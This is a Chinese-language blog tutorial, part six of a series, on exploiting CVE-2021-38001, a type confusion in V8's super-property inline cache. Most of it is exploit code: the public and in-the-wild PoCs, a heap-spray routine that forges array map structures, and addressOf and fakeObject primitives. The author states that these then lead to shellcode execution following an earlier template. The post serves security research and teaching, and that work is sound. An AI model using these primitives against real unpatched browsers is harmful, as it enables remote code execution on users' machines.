从0开始学V8漏洞利用之CVE-2021-38001(六)

CVE-2021-38001漏洞分析

第四个研究的是CVE-2021-38001,其chrome的bug编号为:1260577

其相关信息还未公开,但是我们仍然能得知:

受影响的Chrome最高版本为:95.0.4638.54
受影响的V8最高版本为:9.5.172.21

搭建环境

一键编译相关环境:

1
$ ./build.sh 9.5.172.21

该漏洞是2021年天府杯上提交的漏洞,在网上也只有一篇相关分析和PoC[2]:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import * as module from "1.mjs";

function poc() {
class C {
m() {
return super.y;
}
}

let zz = {aa: 1, bb: 2};
// receiver vs holder type confusion
function trigger() {
// set lookup_start_object
C.prototype.__proto__ = zz;
// set holder
C.prototype.__proto__.__proto__ = module;

// "c" is receiver in ComputeHandler [ic.cc]
// "module" is holder
// "zz" is lookup_start_object
let c = new C();

c.x0 = 0x42424242 / 2;
c.x1 = 0x42424242 / 2;
c.x2 = 0x42424242 / 2;
c.x3 = 0x42424242 / 2;
c.x4 = 0x42424242 / 2;

// LoadWithReceiverIC_Miss
// => UpdateCaches (Monomorphic)
// CheckObjectType with "receiver"
let res = c.m();
}

for (let i = 0; i < 0x100; i++) {
trigger();
}
}

poc();

该漏洞在原理的理解上有一些难度,不过仍然能使用套模板的方法来编写EXP,不过在套模板之前我们先来学一个新技术:V8通用堆喷技术

V8通用堆喷技术

首先来做个简单的测试:

1
2
3
a = Array(100);
%DebugPrint(a);
%SystemBreak();

使用vmmap查看堆布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
0x1f7a00000000     0x1f7a00003000 rw-p     3000 0      [anon_1f7a00000]
0x1f7a00003000 0x1f7a00004000 ---p 1000 0 [anon_1f7a00003]
0x1f7a00004000 0x1f7a0001a000 r-xp 16000 0 [anon_1f7a00004]
0x1f7a0001a000 0x1f7a0003f000 ---p 25000 0 [anon_1f7a0001a]
0x1f7a0003f000 0x1f7a08000000 ---p 7fc1000 0 [anon_1f7a0003f]
0x1f7a08000000 0x1f7a0802a000 r--p 2a000 0 [anon_1f7a08000]
0x1f7a0802a000 0x1f7a08040000 ---p 16000 0 [anon_1f7a0802a]
0x1f7a08040000 0x1f7a0814d000 rw-p 10d000 0 [anon_1f7a08040]
0x1f7a0814d000 0x1f7a08180000 ---p 33000 0 [anon_1f7a0814d]
0x1f7a08180000 0x1f7a08183000 rw-p 3000 0 [anon_1f7a08180]
0x1f7a08183000 0x1f7a081c0000 ---p 3d000 0 [anon_1f7a08183]
0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0]
0x1f7a08240000 0x1f7b00000000 ---p f7dc0000 0 [anon_1f7a08240]

其中我们注意一下最后一块堆相关信息:

1
2
3
4
5
6
7
8
9
10
11
0x1f7a081c0000     0x1f7a08240000 rw-p    80000 0      [anon_1f7a081c0]

pwndbg> x/16gx 0x1f7a081c0000
0x1f7a081c0000: 0x0000000000040000 0x0000000000000004
0x1f7a081c0010: 0x000056021f06d738 0x00001f7a081c2118
0x1f7a081c0020: 0x00001f7a08200000 0x000000000003dee8
0x1f7a081c0030: 0x0000000000000000 0x0000000000002118
0x1f7a081c0040: 0x000056021f0efae0 0x000056021f05f5a0
0x1f7a081c0050: 0x00001f7a081c0000 0x0000000000040000
0x1f7a081c0060: 0x000056021f0ed840 0x0000000000000000
0x1f7a081c0070: 0xffffffffffffffff 0x0000000000000000

以下为该堆块的相关结构:

1
2
3
4
0x1f7a081c0000: size = 0x40000
0x1f7a081c0018: 堆的起始地址为0x00001f7a081c2118,在V8的堆结构中有0x2118字节用来存储堆结构相关信息
0x1f7a081c0020: 堆指针,表示该堆已经被使用到哪了
0x1f7a081c0028: 已经被使用的size, 0x3dee8 + 0x2118 = 0x40000

再来看看后面的堆布局:

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x1f7a081c0000 + 0x40000
0x1f7a08200000: 0x0000000000040000 0x0000000000000004
0x1f7a08200010: 0x000056021f06d738 0x00001f7a08202118
0x1f7a08200020: 0x00001f7a08240000 0x000000000003dee8
0x1f7a08200030: 0x0000000000000000 0x0000000000002118
0x1f7a08200040: 0x000056021f0f0140 0x000056021f05f5a0
0x1f7a08200050: 0x00001f7a08200000 0x0000000000040000
0x1f7a08200060: 0x000056021f0fd3c0 0x0000000000000000
0x1f7a08200070: 0xffffffffffffffff 0x0000000000000000

结构同上,可以发现,在0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0]内存区域中,由两个大小为0x40000的v8的堆组成。

如果这个时候,我申请一个0xf700大小的数组,在新版v8中,一个地址4字节,那么就是需要0xf700 * 4 + 0x2118 = 0x3fd18,再对齐一下,那么就是0x40000大小的堆,我们来测试一下:

1
2
3
a = Array(0xf700);
%DebugPrint(a);
%SystemBreak();

得到变量a的信息为:

1
2
3
4
5
6
7
8
9
10
11
12
DebugPrint: 0x2beb08049929: [JSArray]
- map: 0x2beb08203ab9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x2beb081cc0e9 <JSArray[0]>
- elements: 0x2beb08242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]
- length: 63232
- properties: 0x2beb0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x2beb080048f1: [String] in ReadOnlySpace: #length: 0x2beb0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x2beb08242119 <FixedArray[63232]> {
0-63231: 0x2beb0800242d <the_hole>
}

发现堆布局的变化:

1
0x2beb081c0000     0x2beb08280000 rw-p    c0000 0      [anon_2beb081c0]

size从0x80000变成了0xc0000,跟我预想的一样,增加了0x40000,而变量aelements字段地址为0x2beb081c0000 + 0x80000 + 0x2118 + 0x1 = 0x2beb08242119

在新版的V8种,因为启用的地址压缩特性,在堆中储存的地址为4字节,而根据上述堆的特性,我们能确定低2字节为0x2119

另外,堆地址总是从0x00000000开始的,在我的环境中,上述堆的高2字节总是0x081c,该数值取决于V8在前面的堆中储存了多少数据,该值不会随机变化,比如在写好的脚本中,该值基本不会发生改变。所以现在,可以确定一个有效地址:0x081c0000 + 0x2118 + 0x1 + 0x80000 + 0x40000 * n, n>=0

如果在比较复杂的环境中,可以增加Array的数量,然后定一个比较大的值,如以下一个示例:

1
2
3
4
5
6
7
8
big_array = [];
for (let i = 0x0; i < 0x50; i++) {
tmp = new Array(0x100000);
for (let j = 0x0; j < 0x100; j++) {
tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
}
big_array.push(tmp);
}

通过该方法堆喷,我们能确定一个地址:0x30002121,然后通过以下代码可以获取到u2d(i * 0x100 + j, 0)的值,从而算出i,j:

1
2
3
var u32 = new Uint32Array(f64.buffer);
getByteLength = u32.__lookupGetter__('byteLength');
byteLength = getByteLength.call(evil);

该方法的作用是获取Uint32Array类型变量的bytelength属性,可以通过调试,了解一下Uint32Array类型变量的结构。

但是为什么evil(地址为0x30002121),会被当成Uint32Array类型的变量呢,因为使用上述方法,V8不会检查变量类型吗?当然不是,上面的代码并不完整,完整的代码还需要伪造map结构,地址我们可以算出来,而map结构的会被检查的数据都是flag标志为,该值固定,所以使用gdb查看一下相关变量的map结构,就能进行伪造了,完整的堆喷代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ut_map = itof(0x300021a1);
buffer = itof(0x3000212900000000);

address = itof(0x12312345678);
ut_map1 = itof(0x1712121200000000);
ut_map2 = itof(0x3ff5500082e);
ut_length = itof(0x2);
double_map = itof(0x300022a1);
double_map1 = itof(0x1604040400000000);
double_map2 = itof(0x7ff11000834);

big_array = [];
for (let i = 0x0; i < 0x50; i++) {
tmp = new Array(0x100000);
for (let j = 0x0; j < 0x100; j++) {
tmp[0x0 / 0x8 + j * 0x1000] = ut_map;
tmp[0x8 / 0x8 + j * 0x1000] = buffer;
tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
tmp[0x20 / 0x8 + j * 0x1000] = ut_length;
tmp[0x28 / 0x8 + j * 0x1000] = address;
tmp[0x30 / 0x8 + j * 0x1000] = 0x0;
tmp[0x80 / 0x8 + j * 0x1000] = ut_map1;
tmp[0x88 / 0x8 + j * 0x1000] = ut_map2;
tmp[0x100 / 0x8 + j * 0x1000] = double_map;
tmp[0x180 / 0x8 + j * 0x1000] = double_map1;
tmp[0x188 / 0x8 + j * 0x1000] = double_map2;
}
big_array['push'](tmp);
}

后续利用中同样可以使用该思路伪造一个doule数组的变量或者obj数组的变量。

套模版

接下来又到套模板的时间了,暂时先不用管漏洞成因,漏洞原理啥的,我们先借助PoC,来把我们的exp写出来。

研究PoC

可以把PoC化简一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import('./2.mjs').then((m1) => {
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
class C {
m() {
return super.x;
}
}
obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = u2d(0x40404042, 0);
}
C.prototype.__proto__ = m1;
function trigger() {
let c = new C();

c.x0 = obj_prop_ut_fake;
let res = c.m();
return res;
}
for (let i = 0; i < 10; i++) {
trigger();
}
let evil = trigger();
%DebugPrint(evil);
});

运行一下PoC,可以发现,最后的结果为:DebugPrint: Smi: 0x20202021 (538976289),SMI类型的变量,值为0x20202021,在内存中的储存值为其两倍:0x20202021 * 2 = 0x40404042,也就是我们在PoC中设置的值。

编写堆喷代码

在PoC中加上我们的堆喷代码(同时进行堆布局):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
a = [2.1];
b_1 = {"a": 2.2};
b = [b_1];
double_array_addr = 0x082c2121+0x100;
double_array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
ptr_array_addr = 0x08242119;
ptr_array = new Array(0xf700);
ptr_array[0] = a;
ptr_array[1] = b;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(double_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = double_array_map0;
big_array[0x108/8] = double_array_map1;

其中0x082c2121big_array[0]的地址,0x08242119ptr_array[0]的地址。

然后是leak变量a和变量b的map地址:

1
2
3
4
5
6
7
8
9
10
11
12
let evil = trigger();
addr = d2u(evil[0]);
a_addr = addr[0];
b_addr = addr[1];
console.log("[*] leak a addr: 0x"+hex(a_addr));
console.log("[*] leak b addr: 0x"+hex(b_addr));
big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
double_array_map = evil[0];
big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
obj_array_map = evil[0];
console.log("[*] leak double_array_map: 0x"+hex(ftoi(double_array_map)));
console.log("[*] leak obj_array_map: 0x"+hex(ftoi(obj_array_map)));

编写addressOf函数

现在我们能来编写addressOf函数了:

1
2
3
4
5
6
7
8
9
function addressOf(obj_to_leak)
{
big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
b[0] = obj_to_leak;
evil[0] = double_array_map;
let obj_addr = ftoi(b[0])-1n;
evil[0] = obj_array_map;
return obj_addr;
}

编写fakeObj函数

接下来就是编写fakeObj函数:

1
2
3
4
5
6
7
8
9
function fakeObject(addr_to_fake)
{
big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
a[0] = itof(addr_to_fake + 1n);
evil[0] = obj_array_map;
let faked_obj = a[0];
evil[0] = double_array_map;
return faked_obj;
}

之后就是按照模版来了,修改修改偏移,就能执行shellcode了。

优化

该PoC还能进行一些优化,有时候没必要死抠着模板来,按照上文的所说的知识,我们能伪造map结构的数据,那自然不管是double array map还是obj array map都能,所以没必要再泄漏这些数据了。

我们的堆喷代码能进行一些优化:

1
2
3
4
5
6
7
8
9
10
11
12
13
double_array_addr = 0x08282121+0x100;
obj_array_addr = 0x08282121+0x150;
array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
obj_array_map1 = itof(0x0a0007ff09000834n);
ptr_array_addr = 0x08282121 + 0x050;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(obj_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = array_map0;
big_array[0x108/8] = double_array_map1;
big_array[0x150/8] = array_map0;
big_array[0x158/8] = obj_array_map1;

其中big_array[0x100/8]是我们伪造的double array mapbig_array[0x150/8]是我们伪造的object array map

addressOf函数和fakeObj函数也进行一波优化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function fakeObject(addr_to_fake)
{
big_array[0x058/8] = itof(addr_to_fake + 1n);
let faked_obj = evil[0];
return faked_obj;
}

function addressOf(obj_to_leak)
{
evil[0] = obj_to_leak;
big_array[0x000/8] = u2d(double_array_addr, 0);
let obj_addr = ftoi(evil[0])-1n;
big_array[0x000/8] = u2d(obj_array_addr, 0);
return obj_addr;
}

其他PoC

该漏洞的PoC不仅有Github上公开的版本,还抓到一个在野利用的版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function triger_type_confusion() {
return obj;
}
obj_or_function = 1.1;
class C extends triger_type_confusion {
constructor() {
super();
obj_or_function = super.x;
}
}

obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = itof(0x30002121);
}
obj = {
'x1': obj_prop_ut_fake
};
C['prototype']['__proto__'] = q1;

for (let i = 0x0; i < 0xa; i++) {
new C();
}
new C();
fake_ut = obj_or_function;

不过跟Github上的PoC对比,略显麻烦了一些,不过原理仍然是一样的。

漏洞原理

该漏洞的成因跟之前我复现的漏洞相比,略微复杂了一下,需要补充一些V8的设计原理相关的知识,可以参考:[3][4]

需要了解一下JS获取属性的原理,还有Inline Caches相关的知识。

这里我只简单说说该漏洞的问题:

在最开始执行10次new C(),因为Lazy feedback allocation,所以并没有对属性访问进行优化,这个时候的super就是m1,但是在执行完10次之后,开始进行Inline Caches优化,因为内联缓存代码的bug,super的值变成了变量c: let c = new C();,之后的流程如下:

  1. super.x的取值顺序为:JSModuleNamespace -> module(+0xC) -> exports (+0x4) -> y(+0x28) -> value(+0x4)
  2. 因为Lazy feedback allocationtrigger函数在执行10次之后,触发了Inline Caches,为了加速代码执行速度,把super.x取值的顺序直接转换成汇编代码。
  3. 漏洞代码,在翻译汇编代码的时候,把super翻译成了变量c
  4. c+0xC位置储存的是obj_prop_ut_fake
  5. obj_prop_ut_fake+0x4储存的是该变量的properties(属性),也就是obj_prop_ut_fake.xn
  6. obj_prop_ut_fake.properties + 0x28获取到的是HeapNumber结构地址。
  7. HeapNumber+0x4地址的值为u2d(0x40404042, 0)

参考

  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1260577
  2. https://github.com/vngkv123/articles/blob/main/CVE-2021-38001.md
  3. https://v8.dev/blog/v8-lite
  4. https://mathiasbynens.be/notes/shapes-ics#ics

从0开始学V8漏洞利用之CVE-2021-38001(六)

https://nobb.site/2021/12/08/0x6E/

Author

Hcamael

Posted on

2021-12-08

Updated on

2021-12-23

Licensed under